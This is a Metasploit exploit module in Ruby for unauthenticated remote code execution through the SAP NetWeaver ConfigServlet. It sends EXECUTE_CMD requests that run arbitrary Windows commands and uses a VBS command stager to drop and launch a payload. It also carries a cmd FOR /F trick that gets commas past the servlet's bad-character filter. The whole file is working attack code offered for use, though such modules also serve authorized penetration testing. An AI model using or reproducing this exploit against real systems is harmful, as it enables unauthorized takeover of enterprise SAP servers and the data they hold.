|
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP ConfigServlet Remote Code Execution',
'Description' => %q{
This module allows remote code execution via operating system commands through the
SAP ConfigServlet without any authentication. This module has been tested successfully
with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
},
'Author' =>
[
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
'Andras Kabai' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92704'],
[ 'EDB', '24996'],
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
],
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
'Platform' => 'win',
'Targets' =>
[
[
'Windows generic',
{
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(50000),
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
], self.class)
end
def check
uri = normalize_uri(target_uri.path, 'ConfigServlet')
begin
res = send_evil_request(uri, "whoami", 20)
rescue
Exploit::CheckCode::Unknown
end
if !res
Exploit::CheckCode::Unknown
elsif res.body.include?("Process created")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("#{rhost}:#{rport} - Exploiting remote system")
uri = normalize_uri(target_uri.path, 'ConfigServlet')
execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
end
def execute_command(cmd, opts)
commands = cmd.split(/&/)
commands.each do |command|
timeout = 20
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
register_file_for_cleanup($1)
end
if command.include?(".vbs") and command.include?(",")
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
# using the following command line trick it is possible to echo commas into the right places
command.gsub!(",", "%i")
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
else
command = "cmd /c " + command
end
if command.include?("cscript")
# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
# increaste timeout value when the VBS stager is called
timeout = 120
end
vprint_status("Attempting to execute: #{command}")
send_evil_request(opts[:sap_configservlet_uri], command, timeout)
end
end
def send_evil_request(uri, cmd, timeout)
begin
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
}, timeout)
if !res
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
end
if res.code != 200
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
end
if not res.body.include?("Process created")
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
end
return res
end
end
|